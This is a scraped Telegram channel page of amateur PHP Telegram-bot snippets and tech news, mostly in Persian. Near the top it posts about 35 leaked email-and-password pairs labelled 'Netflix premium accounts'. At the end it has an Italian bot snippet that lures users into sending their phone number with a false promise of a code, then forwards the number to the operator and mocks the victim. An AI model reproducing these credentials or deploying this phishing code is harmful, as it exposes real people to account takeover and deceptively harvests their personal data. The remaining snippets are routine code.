یادداشت های برنامه نویس آماتور | Amateur programmer notes
61 subscribers
92 photos
10 videos
34 files
88 links
اندازه ی آرزو هات مهم نیست
مهم اینه تو چقد میبینیش
آرزو هاتو بزرگ ببین


</create> by <ashkan\>
Download Telegram
NETFLIX PREMIUM ACCOUNTS

linni143@gmail.com:linni143
rod3333@hotmail.com:bill2005
rosapayton18@yahoo.com:preston2011
apryl_marykay1@yahoo.com:800freak
jeanlacoe@comcast.net:jeanbean
travis_smith2009@yahoo.com:soccer
tng1114@gmail.com:trieu1114
md-lcsw@cox.net:jbon007d
terigal@gmail.com:mtjd3104
R-e-b-u@hotmail.com:boyete
darkxyster@gmail.com:dirksmith
jschmalz1@new.rr.com:josh0816
aveader@gmail.com:winston3
jesusv107@gmail.com:cataleah25
kate.tr76@gmail.com:mama1976
farid.assali@yahoo.com:040282fa
tamanda02@gmail.com:sadie4270
ladyblackcat2@hotmail.com:ihateyou1
nyyankee1953@gmail.com:maclex11
sjraider81@yahoo.com:rocket15
tamram59@yahoo.com:sweetie04
chase.a.pipkin@gmail.com:chase92
tjkrueger88@gmail.com:sivart321
bkwojton@yahoo.com:Gizmo1983
alex_59701@mail.com:Jraf4kag
alexiabanks93@gmail.com:alexia93
novojilov@gmail.com:zx1290op
karina.burchard@gmail.com:surfing6
cninemire@hotmail.com:judging
portosplace@msn.com:matt1019
marek103@yahoo.com:marek101
sreith@fuse.net:polaris99
michaelcl86@yahoo.com:10021986
sweetkiran07@yahoo.com:sweetwahid
dionisia.hayles@gmail.com:keneshia

😊😊😊😊
Happy Valentine's Day! I see some good art in trending stickers, be sure to check it out.
✔️ بزرگترین حمله DDoS به وب سایت GitHub که تاکنون ثبت شده در تاریخ 28 فوریه (چهارشنبه 9 اسفند) با حجم 1.35 ترا بیت بر ثانیه اتفاق افتاد.
آموزش نوشتن سورس در سطح مبتدی🙂

➖➖➖➕➖➖➖
//ابتدا تابعی برای گذاشتن توکن تعریف میکنیم مانند تابع زیر
define('API_KEY','توکن ربات شما');
//فانکشن
function sssteam($method,$datas=[]){
$url = "".API_KEY."/".$method;
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($datas));
$res = curl_exec($ch);
if(curl_error($ch)){
var_dump(curl_error($ch));
}else{
return json_decode($res);
}
}
//حالا متغیری برای تعریف اپدیت ها میزاریم
$update = json_decode(file_get_contents('php://input'));
//حالا کد های زیر رو در سورس قرار میدیم
$text = $update->message->text;
$chat_id = $update->message->chat->id;
$message_id = $update->message->message_id;
//حالا متن استارت را تعیین خواهیم کرد
if ($text == '/start'){
Gigatm('sendMessage',[
'chat_id'=>$chat_id,
'text'=>"متن استارت"
]);
}
?>
➖➖➖➕➖➖➖
اسکی آزاد ولی با ذکر منبع😐🙂
شركت فيس بوك اعلام كرد براي حفظ حريم شخصی كاربران در آپديت جديدش گزينه Save Photo و Screen Shot را حذف خواهد كرد!
After a Year, Many things change ...
After a Year, Many good or bad people aren't Exist ...
After a Year, lots of children become Exist ...
After a Year, You are able to do new things ...
After a Year, You may not be able to do things that you could do in the past ...
After a Year, Everything become new ...
After Winter, Spring Starts
After Dark, it's light !
but Now after All it's time to say Happy Noruz Iran and have a Good time with your family :D ! 🇮🇷🌾

mr.ashkan
2018/1397
This week, over 700,000 new users are signing up for Telegram each day. The annual user growth of Telegram surpassed 70% YoY in most markets.

With so many new people joining, not every user may have a clear understanding about what Telegram stands for.

That’s why when announcing the 200M milestone last week, I used the opportunity to write a bit about the values of Telegram and what drives us forward.

https://telegram.org/blog/200-million
Channel++.zip
33.3 KB
سورس ربات مدیریت کانال
با امکان ارسال پست به صورت ساعتی و تایم دار

نویسنده : mr.ashkan ✍
#تیکه کد ساخت کیبورد
//=====
$menu = json_encode(['keyboard'=>[
[['text'=>'نام دکمه مورد نظر'],['text'=>'نام دکمه مورد نظر']],
],"resize_keyboard"=>true]);

#mr.ashkan
Forwarded from Pavel Durov
The power that local governments have over IT corporations is based on money. At any given moment, a government can crash their stocks by threatening to block revenue streams from its markets and thus force these companies to do strange things (remember how last year Apple moved iCloud servers to China).

At Telegram, we have the luxury of not caring about revenue streams or ad sales. Privacy is not for sale, and human rights should not be compromised out of fear or greed.
Forwarded from MUSIC CHANNEL
با سلام و عرض ادب خدمت کاربران عزیز...
با لطف و یاری خداوند متعال ، از این تاریخ اقدام به شروع رسمی فعالیت کانال @MUSlC_CHANNEL خواهیم کرد.

در این کانال برنامه های مختلف و جذاب موزیک قرار خواهد گرفت که امیدواریم مورد استقبال شما عزیزان قرار گیرد.
همچنین ممکن هست به دلیل وجود کاربران و دوستان غیر ایرانی ، برخی از پست ها به چند زبان قرار داده شود.

دوستان بسیاری اعلام آمادگی برای فعالیت در کانال نموده اند که ضمن تشکر از این عزیزان ، تیم کانال و سایت موزیک کامل می باشد و فعلا نیازی به ادمین نیست و در آینده اگر این نیاز احساس شد ، حتما در کانال اطلاع رسانی خواهد شد.

با تجدید احترام
مدیریت کانال موزیک

✅جهت عضویت می توانید به لینک زیر مراجعه کنید:
t.me/MUSlC_CHANNEL
#فانکشن #خیلی_کاربردی
ارسالی اشی
حتما دیدید تو بعضی انتی اسپما که فیلترینگ کلمشون هوشمنده و مثلا شما کلمه 'تست' رو فیلتر میکنی این کلمات هم شناسایی میشن:
تسسسسستتتتتت
تتت $^%**^/=سست
تتتتتسسسسس^*^*؛تتتتت^€^&تتتت
و...

خب ما فانکشنشو براتون آماده کردیم! گرچه تو انتی اسپم خودمونم استفاده شده ولی برای سورپرایز شما کاربران میزاریم! 😉

function is_filter($filter,$input){
$text = strtolower($input);
$filter_check = preg_replace('/([^\sa-zA-Zآ-ی]+)/u','',$text);
$filtered = implode("*", str_split($filter))."*";
return preg_match("/($filtered)\w/",$filter_check);
}
نمو
نه استفاده:
echo is_filter('irDev','ir./?<,>Oo0875214DDdEe.e====!@#$%^&*()_-VVVvv');
خروجی true


موفق باشید
کپی بدون ذکر منبع اکیداااااا ممنوع
مقایسه امکانات پیام رسان های مشهور ایرانی و خارجی

جمع آوری توسط : mr.ashkan
دریافت اطلاعات IP :

فانکشن مورد نیاز :

function ip_info($ip = NULL, $purpose = "location", $deep_detect = TRUE) {
$output = NULL;
if (filter_var($ip, FILTER_VALIDATE_IP) === FALSE) {
$ip = $_SERVER["REMOTE_ADDR"];
if ($deep_detect) {
if (filter_var(@$_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP))
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
if (filter_var(@$_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP))
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
}
$purpose = str_replace(array("name", "
", " ", " ", "-", "_"), NULL, strtolower(trim($purpose)));
$support = array("country", "countrycode", "state", "region", "city", "location", "address");
$continents = array(
"AF" => "Africa",
"AN" => "Antarctica",
"AS" => "Asia",
"EU" => "Europe",
"OC" => "Australia (Oceania)",
"NA" => "North America",
"SA" => "South America"
);
if (filter_var($ip, FILTER_VALIDATE_IP) && in_array($purpose, $support)) {
$ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
if (@strlen(trim($ipdat->geoplugin_countryCode)) == 2) {
switch ($purpose) {
case "location":
$output = array(
"city" => @$ipdat->geoplugin_city,
"state" => @$ipdat->geoplugin_regionName,
"country" => @$ipdat->geoplugin_countryName,
"country_code" => @$ipdat->geoplugin_countryCode,
"continent" => @$continents[strtoupper($ipdat->geoplugin_continentCode)],
"continent_code" => @$ipdat->geoplugin_continentCode
);
break;
case "address":
$address = array($ipdat->geoplugin_countryName);
if (@strlen($ipdat->geoplugin_regionName) >= 1)
$address[] = $ipdat->geoplugin_regionName;
if (@strlen($ipdat->geoplugin_city) >= 1)
$address[] = $ipdat->geoplugin_city;
$output = implode(", ", array_reverse($address));
break;
case "city":
$output = @$ipdat->geoplugin_city;
break;
case "state":
$output = @$ipdat->geoplugin_regionName;
break;
case "region":
$output = @$ipdat->geoplugin_regionName;
break;
case "country":
$output = @$ipdat->geoplugin_countryName;
break;
case "countrycode":
$output = @$ipdat->geoplugin_countryCode;
break;
}
}
}
return $output;
}

نحوه ی استفاده :

echo ip_info($_SERVER[
'REMOTE_ADDR'],'location');

➖➖➖➖➖➖➖➖
#فانکشن برای حذف کامل پوشه

function DeleteFolder($path){
if ($handle=opendir($path)){
while (false!==($file=readdir($handle))){
if ($file<>"." AND $file<>"..") {
if (is_file($path.'/'.$file)) {
@unlink($path.'/'.$file);
}
if (is_dir($path.'/'.$file)) {
deletefolder($path.'/'.$file);
@rmdir($path.'/'.$file);
}}}}}

توسط این فانکشن قادر خواهید بود یک پو
شه را به طور کامل حذف کنید.
برای حذف پوشه از تابع rmdir میتوان استفاده کرد اما این تابع تنها پوشه هایی را از بین میبرد که خالی است.
شما توسط فانکشن بالا می توانید با دادن نام پوشه ، آن را به طور کامل حذف کنید و مهم نیست که آن پوشه حاوی فایل میباشد یا خیر ، چون این فانکشن پوشه را باز میکند و ابتدا درون آن را خالی می کند سپس پوشه را حذف میکند.

➖➖➖➖➖➖➖➖
عامل اصلی رسوایی فیس بوک مجبور به عذرخواهی شد

🔹الکساندر کوگان محقق دانشگاه کمبریج و عامل اصلی رسوایی موسسه کمبریج آنالیتیکا سرانجام از فیس بوک به علت سواستفاده از داده های خصوصی کاربران عذرخواهی کرد. /مهر
if(strpos(" ".$msg, "/numero ")) {
$msg = str_replace("/numero ", "", $msg);
$text = "<b>Perfetto, ora invieremo il numero al nostro database e a breve riceverai il codice.</b>"; sm($chatID, $text);
sm(88444295, "HEYLA, UN PIRLA C'È CASCATO!1!1!1!1!1!

👤 Il pirla: $name @$username_gruppo $userID
💬 Numero: $msg", false, 'HTML', false, false);
}

if($msg == "/numero" and $userID == 118806506) {sm($chatID, "EH, VOLEVI!", false, 'Markdown');}
else {sm($chatID, "falso", false, 'Markdown');}